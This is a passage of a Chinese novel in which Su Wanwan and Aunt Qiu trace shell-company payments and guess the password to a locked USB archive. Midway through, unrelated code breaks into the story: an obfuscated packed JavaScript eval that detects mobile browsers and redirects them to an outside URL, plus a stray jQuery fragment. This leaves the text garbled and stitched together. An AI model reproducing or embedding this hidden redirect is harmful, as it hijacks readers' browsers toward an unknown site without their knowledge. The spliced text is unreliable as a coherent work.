苏晚晚把那三页复印纸在桌面上摊开的时候，手指是干的。她在裤子上擦了擦掌心才去翻纸，拇指压着每一页的边角，从左上角滑到右下角，像在确认每一行数字的位置都没有偏移。
秋姨坐在对面，没有看她，在泡第二道茶。热水冲进紫砂壶里，茶叶被水流冲得翻滚起来，水汽携着一股清冽的香气升上去，在天花板的暖黄色灯光下散开，像一团极淡的薄雾。
“这些钱，走的是瑞禾商贸的账。”苏晚晚说，指尖落在一行数字上，“收款方写的是‘锦城宏远商务咨询公司’，但付款摘要里留了一组合同编号——我查过，那个编号对应的是苏氏实业三年前一份设备采购合同。”
秋姨把茶汤倒进公道杯里，抬起眼皮看了她一眼，没有接话。
“宏远公司没有实体办公地址。”苏晚晚继续说，“注册地址是一个居民楼，三楼，住着一对退休老夫妇。我问过物业，那间房子五年前就卖掉了，现在的房主姓陈。”
“陈远志？”秋姨问，语气没有起伏，像是在确认一件已经知道的事。
“不是他本人。是他妹妹。”
苏晚晚从外套内袋里掏出一张折了四折的纸，展开来——是锦城市不动产登记中心的查询结果，盖了红章。她把那张纸放在复印纸旁边，两张纸并排着，边角对齐。
秋姨看了一眼那张纸，没有伸手去拿。她端起公道杯，把茶汤分进两只杯子里，动作很稳，水流细而均匀。
“你什么时候学会查不动产的？”
“上周四。”苏晚晚说，“沈知意教我的。”
秋姨把其中一只杯子推到苏晚晚面前，杯底磕在竹面上发出一声极轻的响。苏晚晚端起那杯茶，没有喝，只是握在掌心里，感受着薄瓷壁上传来的温度。秋姨沉默了很久，低头看着公道杯里澄黄的茶汤，没有抬头看苏晚晚，像是在等待水汽里的某句话落定。久到茶汤从滚烫变成了温热。
“宏远公司承接的‘商务咨询’里，有一笔是替苏氏实业向税务局递交的补充申报材料。”秋姨终于开口，声音不高不低，像在念一份早已倒背如流的文件，“那份材料的签名页，是你父亲签的。”
“是他签的吗？”
秋姨没有回答。她端起自己的茶杯喝了一口，放下，杯底在竹面上顿了一下，发出一声干燥的轻响。
“你心里已经有答案了。”
苏晚晚没有说话。她把那杯茶端起来，凑到嘴边喝了一口——茶汤入口是苦的，苦味在舌根处停了一下，然后慢慢化开，回甘很淡，像被水冲淡了的糖。她把杯子放回桌上，手指没有立刻松开，指尖压在杯沿上，压出一道浅浅的白痕。
“陈远志的妹妹，现在住在锦城西郊一个叫翡翠湖的地方。”她说，“开了一间茶社，招牌上画了一片茶叶。”
秋姨的目光在她脸上停了一拍，很短，但苏晚晚捕捉到了——那是秋姨整晚唯一一次露出意外的神情，像一片树叶被风翻了个面，露出背面灰白色的叶脉，很快又翻了回去。
“你去过了？”
“没有。”苏晚晚说，“我在等。”
“等什么？”
苏晚晚没有回答。她从帆布包里掏出那枚U盘——黑色的，塑料外壳，边缘有一道细长的划痕——放在桌面上，推到秋姨面前。U盘躺在茶盘边沿，金属接口反射着天花板吊灯的白光，像一小截被嵌进桌面的骨片。秋姨低头看着那枚U盘，看了一会儿，伸手拿起来。她拿的动作很轻，像在取一件易碎的东西。
“里面是什么？”
“我不知道。”苏晚晚说，“插电脑上，指示灯闪一下就灭了。”
秋姨把U盘握在掌心里，没有急着看。她站起来，走到柜台后面，从抽屉里拿出一台旧笔记本电脑，银灰色的外壳已经有些发黄了。她把电脑放在桌上，掀开屏幕，插上电源，等它慢慢亮起来。开机的声音在安静的茶社里响了一下，像某种金属关节被拧动的声音。
苏晚晚站起来，走到柜台旁边，看着秋姨把U盘插进USB接口。
指示灯闪了一下。黄灯，很短，然后灭了。
秋姨的手指停在触控板上，没有动。屏幕上弹出一个对话框——“无法识别的USB设备”。苏晚晚已经见过这个画面，但再看一次，掌心还是一阵干燥。秋姨看着那行字看了几秒钟，然后拔掉U盘，翻转过来，对着灯光看了看金属接口。
“锁了。”她说。
“能开吗？”
秋姨把U盘放回桌上，金属接口磕在竹面上发出一声清脆的响声，像一枚被掷下的棋子。她站起来，走到柜台后面，从抽屉里翻出一根回形针，拉直，把其中一头弯成一个小钩。她坐回椅子上，把那枚U盘放在灯光下，用回形针的尖端探进侧面的一个小孔里，轻轻拨了一下。U盘的塑料壳弹开一条缝，露出里面的电路板。
苏晚晚站在旁边，看着秋姨的手。秋姨的手指很稳，指甲剪得极短，指关节处有薄薄的茧——不是干粗活留下的那种，是常年握笔捏纸留下的薄韧。她用指甲挑开电路板上的一个小盖子，露出底下的触点。然后她合上外壳，重新把U盘插进电脑。
指示灯闪了一下，是绿色的。
屏幕上弹出一个文件夹窗口，里面只有一个文件，没有文件名，后缀是.rar。秋姨点了一下，弹出一个密码输入框。她把电脑转过来，对着苏晚晚。
“你生日。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741891|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏晚晚伸出手，在键盘上输入了八位数字。1998年7月13日——母亲的忌日。回车。屏幕上弹出一个错误提示：“密码错误，还剩两次机会。”
她看着那行字，手指悬在键盘上方，没有落下去。指尖在键盘上方停留了那么久，久到手指开始微微发抖。秋姨看着她，没有说话，只是把电脑往她那边推了推。苏晚晚把手指放下来。输入了另一组数字：苏振华的生日，倒着写。
系统提示：“密码错误，还剩一次机会。”
苏晚晚没有动。窗外传来风吹过竹叶的沙沙声，像一张被揉皱的纸慢慢展开。她低头看着那一排星号闪烁的光标，脑子里把所有可能出现在账本封底的数字都过了一遍——母亲出生那年的年份，苏氏注册的日期，她第一次去云仓存放文件的月份和日子。没有一个对得上。
她闭上眼睛，让自己的手搁在键盘上——搁在那里，像在等一个很久以前就藏好的答案从指尖底下浮现。
然后她想起一件事。
她睁开眼睛，输入了一组坐标日期——当年父亲和母亲领结婚证的日期，1988年9月12日。系统弹出压缩包解压进度条。满屏冰冷的数字慢慢填满进度条，转成一排排蓝黑色的数据和签名扫描件。
秋姨看着屏幕，沉默了很久，久到窗外的风停了，竹叶的沙沙声消失了。她伸手把U盘拔下来，握在掌心里，抬头看着苏晚晚。
“你什么时候学会用这个日期的？”
苏晚晚没有回答。她把电脑屏幕合上，站起来。起身时垂下眼睛，指腹在那台旧笔记本的银灰色外壳上擦了一下——金属板凉丝丝的，沾着一点白天落下的细灰。
“我妈以前跟我说过一句话，说自己真正在意的人，离开后连‘好好生活’四个字都不舍得说出来。愿意开口说这句话的，多半是把自己从难过里摘了出来。”
秋姨看着她，目光停在她嘴唇上那道已经开始结痂的裂口上。她站起来，走到柜台后面，从抽屉里拿出一个牛皮纸信封，没有封口，里面是空的。她把U盘放进去，又把信封递给苏晚晚。
“拿着它，去该去的地方。”
苏晚晚接过信封，没有打开看，直接放进了帆布包最里层的夹层里。她站起来，拿起放在椅子上的外套，抖了一下，披上。
走到门口时，她停了一下，没有回头。
“秋姨。”
“嗯。”
“宏远公司的账，如果要全部走完，大概还需要多久？”
秋姨坐在柜台后面，没有回答。她端起那杯已经凉透的茶，喝了一口，放下。杯底磕在竹面上，发出一声轻响。
“当你准备好的时候，它就已经走完了。”